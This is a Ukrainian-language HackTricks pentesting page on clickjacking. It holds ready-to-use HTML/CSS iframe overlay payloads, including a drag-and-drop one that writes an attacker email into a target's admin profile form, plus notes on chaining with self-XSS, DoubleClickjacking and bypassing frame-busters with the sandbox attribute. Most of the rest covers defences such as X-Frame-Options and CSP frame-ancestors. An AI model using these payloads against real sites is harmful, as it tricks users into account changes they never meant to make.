Clickjacking

Reading time: 7 minutes

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Підтримайте HackTricks

Що таке Clickjacking

У атаці clickjacking користувача обманюють на натискання елемента на веб-сторінці, який або невидимий, або замаскований під інший елемент. Ця маніпуляція може призвести до непередбачуваних наслідків для користувача, таких як завантаження шкідливого ПЗ, перенаправлення на шкідливі веб-сторінки, надання облікових даних або чутливої інформації, перекази грошей або онлайн-покупка товарів.

Трюк з попереднім заповненням форм

Іноді можливо заповнити значення полів форми, використовуючи GET-параметри під час завантаження сторінки. Зловмисник може зловживати цією поведінкою, щоб заповнити форму довільними даними та надіслати payload clickjacking, щоб користувач натиснув кнопку Відправити.

Заповнити форму за допомогою Drag&Drop

Якщо вам потрібно, щоб користувач заповнив форму, але ви не хочете прямо просити його написати якусь конкретну інформацію (наприклад, електронну пошту або конкретний пароль, який ви знаєте), ви можете просто попросити його Drag&Drop щось, що запише ваші контрольовані дані, як у цьому прикладі.

Основний Payload

css
<style>
iframe {
position:relative;
width: 500px;
height: 700px;
opacity: 0.1;
z-index: 2;
}
div {
position:absolute;
top:470px;
left:60px;
z-index: 1;
}
</style>
<div>Click me</div>
<iframe src="https://vulnerable.com/email?email=asd@asd.asd"></iframe>

Багатоступеневий Пейлоад

css
<style>
iframe {
position:relative;
width: 500px;
height: 500px;
opacity: 0.1;
z-index: 2;
}
.firstClick, .secondClick {
position:absolute;
top:330px;
left:60px;
z-index: 1;
}
.secondClick {
left:210px;
}
</style>
<div class="firstClick">Click me first</div>
<div class="secondClick">Click me next</div>
<iframe src="https://vulnerable.net/account"></iframe>

Drag&Drop + Click payload

css
<html>
<head>
<style>
#payload{
position: absolute;
top: 20px;
}
iframe{
width: 1000px;
height: 675px;
border: none;
}
.xss{
position: fixed;
background: #F00;
}
</style>
</head>
<body>
<div style="height: 26px;width: 250px;left: 41.5%;top: 340px;" class="xss">.</div>
<div style="height: 26px;width: 50px;left: 32%;top: 327px;background: #F8F;" class="xss">1. Click and press delete button</div>
<div style="height: 30px;width: 50px;left: 60%;bottom: 40px;background: #F5F;" class="xss">3.Click me</div>
<iframe sandbox="allow-modals allow-popups allow-forms allow-same-origin allow-scripts" style="opacity:0.3"src="https://target.com/panel/administration/profile/"></iframe>
<div id="payload" draggable="true" ondragstart="event.dataTransfer.setData('text/plain', 'attacker@gmail.com')"><h3>2.DRAG ME TO THE RED BOX</h3></div>
</body>
</html>

XSS + Clickjacking

Якщо ви виявили атаку XSS, яка вимагає, щоб користувач натиснув на якийсь елемент, щоб запустити XSS, і сторінка є вразливою до clickjacking, ви можете зловживати цим, щоб обманути користувача, змусивши його натиснути кнопку/посилання.
Приклад:
Ви знайшли self XSS у деяких приватних даних облікового запису (дані, які тільки ви можете встановити та прочитати). Сторінка з формою для встановлення цих даних є вразливою до Clickjacking і ви можете попередньо заповнити форму з GET параметрами.
Зловмисник може підготувати Clickjacking атаку на цю сторінку, попередньо заповнивши форму з XSS payload і обманюючи користувача на відправлення форми. Отже, коли форма буде відправлена і значення будуть змінені, користувач виконає XSS.

DoubleClickjacking

Спочатку пояснено в цьому пості, ця техніка вимагатиме від жертви двічі натиснути на кнопку на спеціально створеній сторінці, розміщеній у певному місці, і використовувати різницю в часі між подіями mousedown і onclick, щоб завантажити сторінку жертви під час подвійного натискання, так що жертва насправді натискає на легітимну кнопку на сторінці жертви.

Приклад можна побачити в цьому відео: https://www.youtube.com/watch?v=4rGvRRMrD18

Приклад коду можна знайти на цій сторінці.

warning

Ця техніка дозволяє обманути користувача, щоб натиснути на 1 місце на сторінці жертви, обходячи всі захисти від clickjacking. Тому зловмисник повинен знайти чутливі дії, які можна виконати лише одним натисканням, такі як запити OAuth на прийняття дозволів.

Стратегії для пом'якшення Clickjacking

Захисти на стороні клієнта

Скрипти, виконувані на стороні клієнта, можуть виконувати дії для запобігання Clickjacking:

  • Забезпечення того, щоб вікно програми було основним або верхнім вікном.
  • Зробити всі фрейми видимими.
  • Запобігання натисканням на невидимі фрейми.
  • Виявлення та сповіщення користувачів про потенційні спроби Clickjacking.

Однак ці скрипти для знищення фреймів можуть бути обійдені:

  • Налаштування безпеки браузерів: Деякі браузери можуть блокувати ці скрипти на основі своїх налаштувань безпеки або відсутності підтримки JavaScript.
  • HTML5 iframe sandbox атрибут: Зловмисник може нейтралізувати скрипти для знищення фреймів, встановивши атрибут sandbox зі значеннями allow-forms або allow-scripts без allow-top-navigation. Це запобігає перевірці iframe, чи є він верхнім вікном, наприклад,
html
<iframe
id="victim_website"
src="https://victim-website.com"
sandbox="allow-forms allow-scripts"></iframe>

allow-forms та allow-scripts значення дозволяють дії в межах iframe, одночасно заважаючи навігації на верхньому рівні. Щоб забезпечити передбачувану функціональність цільового сайту, можуть бути необхідні додаткові дозволи, такі як allow-same-origin та allow-modals, залежно від типу атаки. Повідомлення консолі браузера можуть вказати, які дозволи слід надати.

Серверні захисти

X-Frame-Options

X-Frame-Options HTTP заголовок відповіді інформує браузери про легітимність відображення сторінки в <frame> або <iframe>, допомагаючи запобігти Clickjacking:

  • X-Frame-Options: deny - Жоден домен не може обрамляти вміст.
  • X-Frame-Options: sameorigin - Тільки поточний сайт може обрамляти вміст.
  • X-Frame-Options: allow-from https://trusted.com - Тільки вказаний 'uri' може обрамляти сторінку.
  • Зверніть увагу на обмеження: якщо браузер не підтримує цю директиву, вона може не працювати. Деякі браузери надають перевагу директиві CSP frame-ancestors.

Директива frame-ancestors політики безпеки вмісту (CSP)

Директива frame-ancestors в CSP є рекомендованим методом захисту від Clickjacking:

  • frame-ancestors 'none' - Схоже на X-Frame-Options: deny.
  • frame-ancestors 'self' - Схоже на X-Frame-Options: sameorigin.
  • frame-ancestors trusted.com - Схоже на X-Frame-Options: allow-from.

Наприклад, наступна CSP дозволяє обрамлення лише з того ж домену:

Content-Security-Policy: frame-ancestors 'self';

Додаткові деталі та складні приклади можна знайти в документації frame-ancestors CSP та документації Mozilla про frame-ancestors CSP.

Політика безпеки вмісту (CSP) з child-src та frame-src

Політика безпеки вмісту (CSP) є заходом безпеки, який допомагає запобігти Clickjacking та іншим атакам ін'єкції коду, вказуючи, які джерела браузер повинен дозволити для завантаження вмісту.

Директива frame-src

  • Визначає допустимі джерела для фреймів.
  • Більш специфічна, ніж директива default-src.
Content-Security-Policy: frame-src 'self' https://trusted-website.com;

Ця політика дозволяє фрейми з того ж походження (self) та https://trusted-website.com.

child-src Директива

  • Введена в CSP рівня 2 для встановлення дійсних джерел для веб-робітників та фреймів.
  • Використовується як резервний варіант для frame-src та worker-src.
Content-Security-Policy: child-src 'self' https://trusted-website.com;

Ця політика дозволяє фрейми та воркери з того ж походження (self) та https://trusted-website.com.

Примітки щодо використання:

  • Відмова: child-src поступово відходить на користь frame-src та worker-src.
  • Поведінка за замовчуванням: Якщо frame-src відсутній, child-src використовується як резервний варіант для фреймів. Якщо обидва відсутні, використовується default-src.
  • Суворе визначення джерела: Включайте лише надійні джерела в директиви, щоб запобігти експлуатації.

JavaScript скрипти для зламу фреймів

Хоча вони не є абсолютно надійними, скрипти на основі JavaScript для зламу фреймів можуть бути використані для запобігання тому, щоб веб-сторінка була в фреймі. Приклад:

javascript
if (top !== self) {
top.location = self.location
}

Використання Anti-CSRF Токенів

  • Валідація Токенів: Використовуйте anti-CSRF токени в веб-додатках, щоб забезпечити, що запити, що змінюють стан, здійснюються навмисно користувачем, а не через Clickjacked сторінку.

Посилання

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Підтримайте HackTricks